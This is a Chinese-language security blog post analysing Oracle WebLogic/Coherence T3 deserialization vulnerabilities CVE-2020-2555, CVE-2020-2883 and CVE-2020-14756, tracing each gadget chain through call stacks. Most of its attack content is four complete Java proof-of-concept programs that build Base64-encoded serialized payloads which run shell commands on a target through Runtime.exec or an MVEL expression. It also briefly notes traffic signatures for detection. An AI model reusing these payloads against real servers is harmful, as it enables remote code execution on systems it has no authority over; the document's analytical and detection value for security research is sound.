Weblogic T3协议漏洞分析(二)

· 2023-02-18 00:00 · 3 阅读

深蓝 2023-02-18 00:00 四川

前言

接上文。

正文

CVE-2020-2555

影响范围:

  • Oracle Coherence 3.7.1.17

  • Oracle Coherence 12.1.3.0.0

  • Oracle Coherence 12.2.1.3.0

  • Oracle Coherence 12.2.1.4.0

且JDK > 8u76

漏洞分析

 主要是Oracle Coherence中的LimitFilter类存在一个toString方法:

public String toString () {    StringBuffer sb = new StringBuffer("LimitFilter: (");    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);    if (this.m_comparator instanceof ValueExtractor) {        ValueExtractor extractor = (ValueExtractor)this.m_comparator;        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));    } else if (this.m_comparator != null) {        sb.append(", comparator=").append(this.m_comparator);    }
sb.append("])"); return sb.toString();}

传入的对象若是继承自ValueExtractor类则会调用其extract方法:

可利用的类不止一个,这里先看属于该cve的可利用类com.tangosol.util.extractor.ReflectionExtractor#extract:

构造方法:

反射获取类方法并invoke:

可以通过ChainedExtractor#extract(类似CC的ChainedTransformer)来连续调用extract方法:

而JDK > 8u76后才会有toString用于触发:

poc:

import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import com.tangosol.util.filter.LimitFilter;import com.weblogcVul.CVE_2016_3510;import weblogic.corba.utils.MarshalledObject;
import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;
public class CVE_2020_2555 { public static void main(String[] args) throws Exception { // 创建第一个Extractor Runtime.getMethod("getRuntime") ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}); // 第二个Extractor getRuntime.invoke() ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}); // 第三个Extractor invoke(exec, "id") ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success123.txt"});// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});
LimitFilter limitFilter = new LimitFilter(); limitFilter.setComparator(chainedExtractor); limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); try { Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, limitFilter); } catch (Exception e) { e.printStackTrace(); }
ByteArrayOutputStream fout = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray())); }}

调用栈如下:

extract:116, ReflectionExtractor (com.tangosol.util.extractor)extract:105, ChainedExtractor (com.tangosol.util.extractor)toString:599, LimitFilter (com.tangosol.util.filter)readObject:86, BadAttributeValueExpException (javax.management)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)

前面的T3调用过程没有太大变化,主要还是通过上文提到的BadAttributeValueExpException.toString触发LimitFilter.toString进而触发ReflectionExtractor.extract方法

流量特征上看也是正常的T3序列化数据,主要特征为BadAttributeValueExpExceptionReflectionExtractor


CVE-2020-2883

影响范围:

  • Oracle Coherence 10.3.6.0.0

  • Oracle Coherence 12.1.3.0.0

  • Oracle Coherence 12.2.1.3.0

  • Oracle Coherence 12.2.1.4.0

在CVE-2020-2555补丁中主要是针对利用类LimitFilter的toString方法进行修复,此CVE主要是对上述修复的绕过。

MultiExtractor#compare

MultiExtractor继承自AbstractExtractor

很明显compare方法中有extract方法的调用:

与ChainedExtractor不同,这里只是遍历Extractors列表并调用其extract方法而非和ChainedExtractor.extract一样进行链式调用:

所以还得封装一层ChainedExtractor来进行rumtime调用,对于compare方法的触发,使用priorityQueue这条链的触发方法即可:

参考RoboTerh师傅的poc

import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.MultiExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import ysoserial.payloads.util.Reflections;
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;
public class CVE_2020_2883_MultiExtractor { public static void main(String[] args) throws Exception { // 创建第一个Extractor Runtime.getMethod("getRuntime") ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}); // 第二个Extractor getRuntime.invoke() ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}); // 第三个Extractor invoke(exec, "id") ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3}); MultiExtractor multiExtractor = new MultiExtractor();
Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true); m_aExtractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});
PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add("1"); priorityQueue.add("2");
Field comparator = priorityQueue.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue, multiExtractor);
Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue"); queueArray[0] = Runtime.class; queueArray[1] = "2";
ByteArrayOutputStream fout = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout); objectOutputStream.writeObject(priorityQueue); objectOutputStream.close(); System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray())); }}

调用栈如下:

extract:116, ReflectionExtractor (com.tangosol.util.extractor)extract:105, ChainedExtractor (com.tangosol.util.extractor)extract:96, MultiExtractor (com.tangosol.util.extractor)compare:143, AbstractExtractor (com.tangosol.util.extractor)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)PriorityQueue.readObject -> AbstractExtractor.compare -> MultiExtractor.extract -> ChainedExtractor.extract -> ReflectionExtractor.extract

ExtractorComparator#compare

查看其compare方法:

public int compare(T o1, T o2) {    Comparable a1 = o1 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);    Comparable a2 = o2 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);    if (a1 == null) {        return a2 == null ? 0 : -1;    } else {        return a2 == null ? 1 : a1.compareTo(a2);    }}

很明显的extract调用,同样的构造方法:

import com.tangosol.util.ValueExtractor;import com.tangosol.util.comparator.ExtractorComparator;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.MultiExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import ysoserial.payloads.util.Reflections;
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;
public class CVE_2020_2883_ExtractorComparator { public static void main(String[] args) throws Exception { // 创建第一个Extractor Runtime.getMethod("getRuntime") ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}); // 第二个Extractor getRuntime.invoke() ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}); // 第三个Extractor invoke(exec, "id") ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3}); ExtractorComparator extractorComparator = new ExtractorComparator( chainedExtractor);
PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add("1"); priorityQueue.add("2");
Field comparator = priorityQueue.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue, extractorComparator);
Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue"); queueArray[0] = Runtime.class; queueArray[1] = "2";
ByteArrayOutputStream fout = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout); objectOutputStream.writeObject(priorityQueue); objectOutputStream.close(); System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray())); }}

最终触发目标函数,过程差不多就不赘述了:


CVE-2020-14756

影响范围:

  • Oracle Weblogic Server 12.1.3.0.0

  • Oracle Weblogic Server 12.2.1.3.0

  • Oracle Weblogic Server 12.2.1.4.0

  • Oracle Weblogic Server 14.1.1.0.0

同样是对反序列化黑名单的绕过,这里使用的是com.tangosol.coherence.servlet.AttributeHolder,调用其readExternal方法:

而com.tangosol.util.aggregator.TopNAggregator$PartialResult的readExternal方法将会触发其父类的SortedBag$WrapperComparator.compare方法:

而之前我们提到过,所有继承自AbstractExtractor的Extractor都会有一个compare方法可触发其extract方法:

对于MvelExtractor来说触发extract即是执行MVEL表达式计算,执行任意代码:

调用栈如下:

extract:95, MvelExtractor (com.tangosol.coherence.rest.util.extractor)compare:143, AbstractExtractor (com.tangosol.util.extractor)compare:416, SortedBag$WrapperComparator (com.tangosol.util)compare:1295, TreeMap (java.util)put:538, TreeMap (java.util)add:152, SortedBag (com.tangosol.util)add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)readObject:2606, ExternalizableHelper (com.tangosol.util)readObject:2583, ExternalizableHelper (com.tangosol.util)readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)readExternalData:2062, ObjectInputStream (java.io)readOrdinaryObject:2011, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)

参考Y4er师傅POC

import com.tangosol.coherence.rest.util.extractor.MvelExtractor;import com.tangosol.coherence.servlet.AttributeHolder;import com.tangosol.util.SortedBag;import com.tangosol.util.aggregator.TopNAggregator;
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;
public class CVE_2020_14756 { public static void main(String[] args) { MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"touch /tmp/123.txt\");"); MvelExtractor extractor2 = new MvelExtractor("");
try { SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2); AttributeHolder attributeHolder = new AttributeHolder(); sortedBag.add(1);
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(sortedBag, extractor);
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class); setInternalValue.setAccessible(true); setInternalValue.invoke(attributeHolder, sortedBag); ByteArrayOutputStream fout = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout); objectOutputStream.writeObject(attributeHolder); objectOutputStream.close(); System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));
} catch (Exception e) { e.printStackTrace(); } }}

流量特征:

后记

依旧参考RoboTerh师傅的文章:https://tttang.com/archive/1785/#toc_cve-2017-3248

关于前文中T3协议头部分存在一些问题,具体细则可参考su18《Weblogic RMI 与 T3 初探》。



阅读原文

跳转微信打开